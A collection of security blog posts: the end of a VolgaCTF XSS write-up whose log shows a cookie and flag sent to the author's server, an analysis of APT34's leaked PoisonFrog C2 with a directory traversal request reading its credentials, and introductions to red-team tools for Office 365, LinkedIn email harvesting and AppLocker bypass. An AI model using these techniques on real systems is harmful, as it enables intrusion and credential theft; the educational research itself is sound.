<span class="nx">getUser</span><span class="p">(</span><span class="nx">params</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">guid</span><span class="dl">'</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Having control over the guid parameter, I could set its value to <code class="language-plaintext highlighter-rouge">&jsoncallback=?</code> and JQuery would parse the response as javascript.</p>
<p>Having all the missing pieces of the puzzle, the following steps were used to complete the challenge:</p>
<ol>
<li>Upload the XSS payload on the static subdomain.</li>
<li>Hijack the api_server cookie with the <code class="language-plaintext highlighter-rouge">api_server=test.com\x8F</code> value.</li>
<li>Redirect to <code class="language-plaintext highlighter-rouge">https://volgactf-task.ru/profile.html?guid=%26jsoncallback%3D%3F</code></li>
<li>The .getJson function would be called with the following URL : <code class="language-plaintext highlighter-rouge">https://test.com/?.volgactf-task.ru/user?guid=&jsoncallback=?</code></li>
<li>The controlled server would return the cookie stealing payload and send it to my server.</li>
</ol>
<p>Following the above steps, I received the flag on my web server logs , successfully completing the challenge:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>128.199.62.109 - - [28/Mar/2020:21:51:24 +0000] "GET /VOLGACTF/api_server=test.com%C2%8F;%20flag=VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16 HTTP/1.1" 404 152 "https://volgactf-task.ru/profile.html?guid=%26jsoncallback%3D%3F" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0"
</code></pre></div></div>During the weekend, I wanted to spend some time brushing up my web appsec skills and decided it would be a good idea to try some CTF challenges. One of the interesting CTFs that was running this weekend was VolgaCTF so I decided to give it a go.A journey on APT34 PoisonFrog C2 Server2019-05-31T00:00:00+00:002019-05-31T00:00:00+00:00https://0x09al.github.io/security/apt34/malware/poisonfrog/vulnerability/2019/05/31/apt-34-poisonfrog-vulnerability<p>In the recent years APTs have been the center of infosec. Mainly because of the public coverage by the media, glorifying by security companies and many more things.
In this blog post I will analyse the C2 Server used by Oilrig/APT34 and how bad coding practice can lead to vulnerabilities that can allow the takeover of the C2 server.</p>
<p>Every time there is a leak that affects some hacking group it always sparks my interest. I always study the source code and the features these tools have in order to learn new techniques that may come in handy during our Red Team operations, so I started digging in the PoisonFrog C2 framework.</p>
<p>I started by downloading the tools on Github : https://github.com/blackorbird/APT_REPORT/tree/master/APT34</p>
<p>The PoisonFrog framework is formed by two components, but our focus will be the C2 server.</p>
<h2 id="poisonfrog-c2-server">PoisonFrog C2 Server</h2>
<p>The C2 Server is built on node.js and the coding pattern that are used shows that whoever programmed the C2 side of the framework wasn’t very experienced with programming. Unfortunately the source code of the C2 server is missing the most important part, the script bringing everything together, but by looking at different components of the framework we get a clear description of how everything is “glued” together.</p>
<p>The “serverside” folder of the C2 framework contains the following files :</p>
<ul>
<li>installing - This folder contains bash and bat scripts for the installation of the dependencies.</li>
<li>routes - This folder contains a javascript file that contains most of the source code.</li>
<li>views - The html templates.</li>
<li>0000000000.bat/9999999999.bat - bat files that gathers information about the computer is executed on.</li>
<li>config.json - The C2 server configuration.</li>
</ul>
<p>The most interesting file was index.js which was responsible for exporting most of the functions used by the C2 server.</p>
<p>First thing that I investigated was the login functionality.
It first checks if the a cookie with the username is set and if not it will try to compare the credentials provided on the request.</p>
<p>Firstly, I started looking at the login functionality which immediately showed the code quality. As can be seen below, it first checks if a cookie with the username is set and if not it will try to compare the credentials provided on the request.
This authentication mechanism is clearly poor and there are a lot of bad practices but none of them allows you to bypass the authentication.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">exports</span><span class="p">.</span><span class="nx">login</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// .......... login checking function ............</span>
<span class="kd">var</span> <span class="nx">Cookies</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">cookies</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">cookies</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Cookies</span><span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">cookie</span> <span class="o">=</span> <span class="nx">cookies</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">user</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">cookie</span> <span class="o">===</span> <span class="kc">undefined</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">//console.log("cookie not exist");</span>
<span class="kd">var</span> <span class="nx">username</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">username</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">password</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">password</span><span class="p">;</span>
<span class="c1">//console.log(username+" "+password);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">username</span> <span class="o">==</span> <span class="nx">config</span><span class="p">.</span><span class="nx">user</span> <span class="o">&&</span> <span class="nx">password</span> <span class="o">==</span> <span class="nx">config</span><span class="p">.</span><span class="nx">password</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// set cookie</span>
<span class="nx">cookies</span><span class="p">.</span><span class="kd">set</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">user</span><span class="p">,</span> <span class="nx">config</span><span class="p">.</span><span class="nx">password</span><span class="p">,</span> <span class="p">{</span> <span class="na">maxAge</span><span class="p">:</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span> <span class="o">+</span> <span class="mi">3600000</span><span class="p">),</span> <span class="na">expires</span><span class="p">:</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span> <span class="o">+</span> <span class="mi">3600000</span><span class="p">),</span> <span class="na">httpOnly</span><span class="p">:</span> <span class="kc">true</span> <span class="p">})</span>
<span class="c1">//console.log('cookie created successfully');</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">"</span><span class="s2">/in/http</span><span class="dl">"</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">guid</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="c1">// yes, cookie was already present </span>
<span class="c1">//console.log('cookie exists', cookie);</span>
<span class="nx">res</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="dl">"</span><span class="s2">/in/http</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Apart from poor coding practices followed, the following part of the code could allow the compromise of the C2 server.</p>
<p>At this point I was pretty sure there would be some more poorly implemented code and I stumbled across the following function.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">exports</span><span class="p">.</span><span class="nx">getFile</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">fileName</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">input</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">fileAddress</span> <span class="o">=</span> <span class="nx">commonDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">files/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">fileName</span><span class="p">;</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">createReadStream</span><span class="p">(</span><span class="nx">fileAddress</span><span class="p">).</span><span class="nx">pipe</span><span class="p">(</span><span class="nx">res</span><span class="p">);</span>
<span class="p">};</span>
</code></pre></div></div>
<p>The exported function <em>getFile</em> initializes the fileName variable from the request that is sent to the C2 server. Since no sanitization is done on the input, an attacker can traverse directories and access sensitive files. Unfortunately, we do not have access to the entire source code but based on the code we have we can confirm that the vulnerability exists.</p>
<p>On the exported function agent the following lines of code were interesting:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fs</span><span class="p">.</span><span class="nx">createReadStream</span><span class="p">(</span><span class="dl">"</span><span class="s2">./0000000000.bat</span><span class="dl">"</span><span class="p">).</span><span class="nx">pipe</span><span class="p">(</span><span class="nx">fs</span><span class="p">.</span><span class="nx">createWriteStream</span><span class="p">(</span><span class="nx">commonDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/files/386be98ce7c7955f92dc060779ed7613</span><span class="dl">"</span><span class="p">));</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">writeFile</span><span class="p">(</span><span class="nx">agentDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/wait/0000000000</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">0000000000<>C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Public</span><span class="se">\\</span><span class="s2">Public_Data</span><span class="se">\\</span><span class="s2">files</span><span class="se">\\</span><span class="s2">0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">);</span> <span class="p">}</span> <span class="p">});</span>
</code></pre></div></div>
<p>We can see that the bat file is written to the <em>commonDir/files/386be98ce7c7955f92dc060779ed7613</em>.
Additionally the command that is sent to the agent is constructed and written to the agent directory.
This demonstrates the consistency of the file directories between the getFile and agents functions.</p>
<p>The other missing part of the puzzle is the URL endpoint this function was called on and since some of the server code was missing my focus turned in analyzing the powershell Agent.</p>
<p>The exported function getFile initializes the fileName variable from the request that is sent to the C2 server. Since no sanitization is done on the input, an attacker can specify a specially crafted <em>input</em> parameter in order to access files outside of the main directory.</p>
<p>Unfortunately, we do not have access to the entire source code but based on the code we have we can confirm that the vulnerability exists.</p>
<p>In order to understand at what point of the communication between the agent and the C2 the getFile function was used, I needed to get a better understanding of both components.</p>
<p>On line 826 the exports.agent function is defined with the comment “agent request for last command”. From that comment we can clearly understand that this function is responsible for handling the command distribution on the agent.
Basically what the function does is it will get the agentId from the request and check if this is an existing agent or not.
If it’s a new agent, it will create three directories “/send/” , “/receive/”, “/wait/” as can bee seen in the code snippet below.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">agentCode</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">input</span><span class="p">;</span>
<span class="p">[</span><span class="nx">SNIP</span><span class="p">]</span>
<span class="nx">agentId</span> <span class="o">=</span> <span class="nx">agentCode</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="o">+</span> <span class="nx">agentCode</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="nx">agentCode</span><span class="p">.</span><span class="nx">length</span> <span class="o">-</span> <span class="mi">5</span><span class="p">,</span> <span class="nx">agentCode</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">agentDir</span> <span class="o">=</span> <span class="nx">commonDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">http/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">agentId</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">fs</span><span class="p">.</span><span class="nx">existsSync</span><span class="p">(</span><span class="nx">agentDir</span><span class="p">))</span> <span class="p">{</span> <span class="c1">// this is new agent ....</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">mkdir</span><span class="p">(</span><span class="nx">agentDir</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">);</span> <span class="p">}</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">mkdir</span><span class="p">(</span><span class="nx">agentDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/send/</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">mkdir</span><span class="p">(</span><span class="nx">agentDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/receive/</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">fs</span><span class="p">.</span><span class="nx">mkdir</span><span class="p">(</span><span class="nx">agentDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/wait/</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">);</span> <span class="p">}</span>
<span class="p">[</span><span class="nx">SNIP</span><span class="p">]</span>
</code></pre></div></div>
<p>We can skip the send and receive folders and only focus on the /wait/ one. As I mentioned earlier, the <em>0000000000.bat</em> file was responsible for collecting information regarding a Windows host.
So after creating the wait folder, it will read the bat file and write it in commonDir + “/files/386be98ce7c7955f92dc060779ed7613” as can be seen in the below :</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fs</span><span class="p">.</span><span class="nx">createReadStream</span><span class="p">(</span><span class="dl">"</span><span class="s2">./0000000000.bat</span><span class="dl">"</span><span class="p">).</span><span class="nx">pipe</span><span class="p">(</span><span class="nx">fs</span><span class="p">.</span><span class="nx">createWriteStream</span><span class="p">(</span><span class="nx">commonDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/files/386be98ce7c7955f92dc060779ed7613</span><span class="dl">"</span><span class="p">));</span>
</code></pre></div></div>
<p>Additionally, it will create a file named 00000000 in the Agent wait directory.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fs</span><span class="p">.</span><span class="nx">writeFile</span><span class="p">(</span><span class="nx">agentDir</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/wait/0000000000</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">0000000000<>C:</span><span class="se">\\</span><span class="s2">Users</span><span class="se">\\</span><span class="s2">Public</span><span class="se">\\</span><span class="s2">Public_Data</span><span class="se">\\</span><span class="s2">files</span><span class="se">\\</span><span class="s2">0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">err</span><span class="p">);</span> <span class="p">}</span> <span class="p">});</span>
</code></pre></div></div>
<p>We can see that the filename <em>386be98ce7c7955f92dc060779ed7613</em> which was created previously, is embedded in the response the C2 server sends to the agent. Merely by looking at the constructed string we can see that the filename is used by the agent to access the bat file. If you remember the getFile function, it was using the same directory (commonDir + /files) to serve the files thus demonstrating the consistency of the file directories between the getFile and agents functions.</p>
<p>The other missing part of the puzzle is the URL endpoint the <em>getFile</em> function was called on and since some of the server code was missing my focus turned in analyzing the powershell Agent.</p>
<p>In order to understand the process better let’s follow the communication between the agent and the C2 step by step.</p>
<ol>
<li>
<p>Agents connects to the C2 Server.</p>
</li>
<li>C2 Server builds the command.
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000000000<>C:\\Users\\Public\\Public_Data\\files\\0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not
</code></pre></div> </div>
</li>
<li>The Agent receives the command from the C2, and creates an array out of it.
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>if ({DownloadedCommand}) {
{AgentCommandArray} = {DownloadedCommand}.split("<>") | where {$_}
</code></pre></div> </div>
</li>
<li>After performing some checks on the array, it used powershell webclient in order to download the file named as the third(fourth) argument of the array.
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{WebClientGlbVariable}.DownloadFile("http://c2server/fil/"+{AgentCommandArray}[3], $EEA+{AgentCommandArray}[2]);
</code></pre></div> </div>
</li>
<li>The full URL endpoint to download the file would be:</li>
</ol>
<pre><code class="language-http://c2server/fil/386be98ce7c7955f92dc060779ed7613```">
6. From the above code and information we can suppose that the implementation of the missing code would be something like this :
</code></pre>
<p>=======</p>
<ol>
<li>C2 Server builds the command and sends it to the agent.
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000000000<>C:\\Users\\Public\\Public_Data\\files\\0000000000.bat<>0000000000.bat<>386be98ce7c7955f92dc060779ed7613<>not
</code></pre></div> </div>
</li>
<li>The Agent receives the command from the C2, and creates an array out of it as we can see in the following code snippet:
<div class="language-ps highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">if</span> <span class="s">({DownloadedCommand})</span> <span class="p">{</span>
<span class="p">{</span><span class="nf">AgentCommandArray</span><span class="p">}</span> <span class="nf">=</span> <span class="p">{</span><span class="nf">DownloadedCommand</span><span class="p">}</span><span class="nf">.split</span><span class="s">("<>")</span> <span class="nf">|</span> <span class="nf">where</span> <span class="p">{</span><span class="nf">$_</span><span class="p">}</span>
</code></pre></div> </div>
</li>
<li>After performing some checks on the array, the agent used powershell webclient in order to download the file named as the third(fourth) element of the array and saving it in $EEA+second(third) element of the array. The $EEA variable is defined in the beginning of the agent and contains the value $env:PUBLIC+”\Public\files".</li>
</ol>
<div class="language-ps highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nf">WebClientGlbVariable</span><span class="p">}</span><span class="nf">.DownloadFile</span><span class="s">("http://c2server/fil/"+{AgentCommandArray}[3], $EEA+{AgentCommandArray}[2])</span><span class="nf">;</span>
</code></pre></div></div>
<p>The “parsed” call would we something like this :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>WebClient.DownloadFile("http://c2server/fil/386be98ce7c7955f92dc060779ed7613",$env:PUBLIC+"\Public\files\" + "0000000000.bat" .
</code></pre></div></div>
<p>It should be noted that the following snippets of code has been taken by the HTTP agent that was dropped by the powershell script. Also, some of the variable names have been changed to be more clear to read.</p>
<p>Now we can clearly connect all the dots between the way the agent downloads the file and how the getFile function is responsible for sending the file response back.</p>
<h2 id="conclusions">Conclusions</h2>
<p>Having a good understanding of where the vulnerable function is used, the implementation of the missing code would be something like this :</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">()</span>
<span class="p">[</span><span class="nx">SNIP</span><span class="p">]</span>
<span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/fil/:input</span><span class="dl">'</span><span class="p">,</span><span class="nx">getFile</span><span class="p">);</span>
<span class="p">[</span><span class="nx">SNIP</span><span class="p">]</span>
</code></pre></div></div>
<p>Now back at the vulnerable code we can exploit it as any other directory traversal vulnerability.</p>
<p>We can read the config.json file which contains the clear text credentials of the C2, giving us control over the C2 Server.
An example service was started that implemented the same function as the C2 server and sending the following request will disclose the clear text credentials.</p>
<p>As I described earlier in the post, this is a directory traversal vulnerability and can be exploited in several ways but the most relevant in this case would be reading the config.json file which contains the clear text credentials of the C2, giving us control over the C2 Server. An example service was started that implemented the same function as the C2 server and sending the following request disclosed the clear text credentials on the config.json file, in this case the ones in the leak.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">test</span>@ubuntu:~<span class="nv">$ </span>curl <span class="s1">'http://127.0.0.1:3000/fil/..%2Fconfig.json'</span>
<span class="o">{</span>
<span class="s2">"guid"</span> : <span class="s2">"/7345SDFHSALKJDFHNASLFSDA3423423SAD22"</span>,
<span class="s2">"user"</span> : <span class="s2">"blacktusk"</span>,
<span class="s2">"password"</span> : <span class="s2">"fireinthehole"</span>
<span class="o">}</span><span class="nb">test</span>@ubuntu:~<span class="err">$</span>
</code></pre></div></div>
<p>Keep in mind that this blog post this was constructed by my understanding of both the components of Poison Frog but I can’t certainly confirm the existence of the vulnerability without having the entire code. However, there are firm evidences in the components code that agrees with me <code class="language-plaintext highlighter-rouge">¯\_(ツ)_/¯</code> .</p>
<p>If you have any questions or maybe some knowledge to drop feel free to contact me.</p>In the recent years APTs have been the center of infosec. Mainly because of the public coverage by the media, glorifying by security companies and many more things. In this blog post I will analyse the C2 Server used by Oilrig/APT34 and how bad coding practice can lead to vulnerabilities that can allow the takeover of the C2 server.Introducing Office 365 Attack Toolkit2019-05-31T00:00:00+00:002019-05-31T00:00:00+00:00https://0x09al.github.io/o365/redteam/phishing/oauth/toolkit/2019/05/31/introducing-o365-attack-toolkit<p>During our red team operations, we frequently come in contact with organisations using Office 365. The present tooling targeted at this environment is somewhat limited meaning that development is often required during engagements. To better prepare ourselves for these environments, we developed a toolkit specifically aimed at Office 365.</p>
<p>In this blogpost we will explore the features that can assist Red Teamers during operations where Office 365 is in heavy use.</p>
<p>You can find the full blogpost on <a href="https://www.mdsec.co.uk/2019/07/introducing-the-office-365-attack-toolkit/">https://www.mdsec.co.uk/2019/07/introducing-the-office-365-attack-toolkit/</a></p>During our red team operations, we frequently come in contact with organisations using Office 365. The present tooling targeted at this environment is somewhat limited meaning that development is often required during engagements. To better prepare ourselves for these environments, we developed a toolkit specifically aimed at Office 365.Raven - Linkedin Information Gathering Tool2018-09-24T00:00:00+00:002018-09-24T00:00:00+00:00https://0x09al.github.io/2018/09/24/raven-linkedin-information-gathering<h2 id="introduction">Introduction</h2>
<p>Last summer I wrote a simple tool named Raven, which would extract public information from Google and Linkedin and build e-mail list that could be used by pentesters. I mainly wrote it just because I needed it and later decided to publish it. To tell the truth I didn’t except that much attention to that tool and I have always wanted to update it but I was busy working on other projects etc. Finally I found some free time and I updated the tool, rewritten it in Go, made it more easy to use and more faster. In this blogpost I will describe the main idea of the tool , how it works and how to use it.</p>
<h2 id="disclaimer">Disclaimer</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Please do not use this program to do stupid things.
The author does not keep any responsibility of any damage done by this program.
USE IT AT YOUR OWN RISK.
</code></pre></div></div>
<h2 id="installation">Installation</h2>
<p>You can use the precompiled binary, but also you can compile from source.</p>
<p>You need to install chromedriver even if you use a precompiled binary or compiling from source.</p>
<h1 id="dependencies">Dependencies</h1>
<ul>
<li><a href="https://github.com/chzyer/readline">https://github.com/chzyer/readline</a></li>
<li><a href="https://github.com/gorilla/mux">https://github.com/gorilla/mux</a></li>
<li><a href="https://github.com/mattn/go-sqlite3">https://github.com/mattn/go-sqlite3</a></li>
<li><a href="https://github.com/olekukonko/tablewriter">https://github.com/olekukonko/tablewriter</a></li>
<li><a href="http://gopkg.in/gcfg.v1">http://gopkg.in/gcfg.v1</a></li>
<li><a href="https://github.com/sclevine/agouti">https://github.com/sclevine/agouti</a></li>
</ul>
<h2 id="how-it-works">How it works</h2>
<p>The main idea is that given a company name, searches all possible matches of Linkedin Employees in Google and then extracts their data. Based on that, it can build e-mail addresses in different formats, export them and also check them in haveibeenpwned.com.</p>
<p>The previous version of raven allowed you to extract data only after finishing a scan and only in a specified format. In case you wanted to extract the same info but with a different e-mail format , you needed to re-run the scan which wasn’t very practical.</p>
<p>In this version it is possible that given a scan, you can export the data as many times as you want, in different formats and also check them in haveibeenpwned.com with only one command.</p>
<h1 id="scan">Scan</h1>
<p>A <code class="language-plaintext highlighter-rouge">Scan</code> is the process of extracting the public information from Google and Linkedin and storing it in the database.</p>
<p>To create a scan you can run the command <code class="language-plaintext highlighter-rouge">new scan</code> this will bring you to the scan instance. There are some properties that should be configured before running a scan as can be seen below.</p>
<center>
<img src="/images/raven-new-scan.png" />
<br /><br /></center>
<ul>
<li><code class="language-plaintext highlighter-rouge">Scan_id</code> - Can’t be changed, is the scan id which is used as a PK in the database.</li>
<li><code class="language-plaintext highlighter-rouge">Scan_name</code> - The name of the scan, used later when you want to export data.</li>
<li><code class="language-plaintext highlighter-rouge">Company</code> - The name of the company that you want to extract employees.</li>
<li><code class="language-plaintext highlighter-rouge">Domain</code> - This is the subdomain of the main LinkedIn website. If you want to target a specific country you can specify the subdomain. For example , Albania has the subdomain <code class="language-plaintext highlighter-rouge">al</code>. In case you don’t know the subdomain use <code class="language-plaintext highlighter-rouge">www</code>.</li>
<li><code class="language-plaintext highlighter-rouge">Pages_number</code> - The number of Google pages to extract information from.</li>
</ul>
<p>Running the command <code class="language-plaintext highlighter-rouge">options</code> you can see the properties and values that are assigned.</p>
<p>Below is an example scan:</p>
<center>
<img src="/images/raven-new-scan.png" />
<br /><br /></center>
<p>After setting the properties you can use <code class="language-plaintext highlighter-rouge">start</code> to start the scan.
The scan will insert the data in the database so that you can use it later.</p>
<h1 id="export">Export</h1>
<p>After finishing the scan, you can use the data by running <code class="language-plaintext highlighter-rouge">use (scan_name)</code>.
This will bring you to export instance. The export instance allows you to export the data in different formats and check them in haveibeenpwned.com .</p>
<p>The export instance has 3 properties.</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">Format</code> - The format of the e-mails.</li>
<li><code class="language-plaintext highlighter-rouge">Domain</code> - The domain to append to the “usernames”.</li>
<li><code class="language-plaintext highlighter-rouge">Output</code> - Filename to write the output.</li>
</ul>
<p>Below are the avaible formats. You can use also the <code class="language-plaintext highlighter-rouge">ALL</code> in case you want to generate all the avaiable formats, and then use a custom tool to verify the e-mail addresses.</p>
<center>
<img src="/images/raven-formats.png" />
<br /><br /></center>
<p>After specifying a format and a domain, you can export them using the <code class="language-plaintext highlighter-rouge">export</code> command or check if they have been breached by using the <code class="language-plaintext highlighter-rouge">checkpwned</code> command as can be seen below.</p>
<center>
<img src="/images/raven-checkpwned.png" />
<br /><br /></center>
<h2 id="remarks">Remarks</h2>
<p>You can find this tool on my Github profile : <a href="https://github.com/0x09AL/raven">https://github.com/0x09AL/raven</a>.</p>
<p>I’m planning on adding new ways to verify e-mail addresses, fix bugs when they come out and I’m very interested on getting new ideas to implement.</p>Introduction Last summer I wrote a simple tool named Raven, which would extract public information from Google and Linkedin and build e-mail list that could be used by pentesters. I mainly wrote it just because I needed it and later decided to publish it. To tell the truth I didn’t except that much attention to that tool and I have always wanted to update it but I was busy working on other projects etc. Finally I found some free time and I updated the tool, rewritten it in Go, made it more easy to use and more faster. In this blogpost I will describe the main idea of the tool , how it works and how to use it.Bypassing AppLocker Custom Rules2018-09-13T00:00:00+00:002018-09-13T00:00:00+00:00https://0x09al.github.io/security/applocker/bypass/custom/rules/windows/2018/09/13/applocker-custom-rules-bypass<h2 id="introduction">Introduction</h2>
<p>Applocker is becoming one of the most implemented security features in big organizations. Implementing AppLocker reduces your risk dramatically especially for workstations. Unfortunately for the blue-team, there are a lot of custom configurations that are required for AppLocker apart from the default rules which may open some gaps on your security posture. There are a lot of posts that describe how to bypass Applocker default rules but in this blogpost I will describe the steps that you can take to bypass custom rules, how to find them, parse them and use this information to bypass them.</p>
<h2 id="applocker-custom-rules">Applocker Custom Rules</h2>
<p>AppLocker rules apply to the targeted app and they are the components that make up the AppLocker policy. The next thing you need to know is Rule Collection.</p>
<h1 id="rule-collections">Rule Collections</h1>
<p>The AppLocker console is organized into rule collections, which are executable files, scripts, Windows Installer files, packaged apps and packaged app installers, and DLL files. These collections give you an easy way to differentiate the rules for different types of apps.</p>
<h1 id="rule-conditions">Rule conditions</h1>
<p>Rule conditions are criteria that help AppLocker identify the apps to which the rule applies. The three primary rule conditions are publisher, path and file hash.</p>
<h1 id="types">Types</h1>
<p>File Path Condition - Identifies an application by its location on the system.
File Publisher Condition - Identifies an application by its properties or digital signature.
File Hash Condition - Identifies an application based by its hash.</p>
<p>The image below contains the different conditions that can be created by AppLocker.</p>
<center>
<img src="/images/simple-applocker-rule.png" height="450px" />
<br /><br /></center>
<h2 id="the-how-to">The How-To</h2>
<p>The first and most important thing is to know what AppLocker Rules are enforced. Most of the time the default rules are always enforced but there are also some custom rules. AppLocker rules are most of the time enforced by a GPO and you can query Active Directory to receive the them.</p>
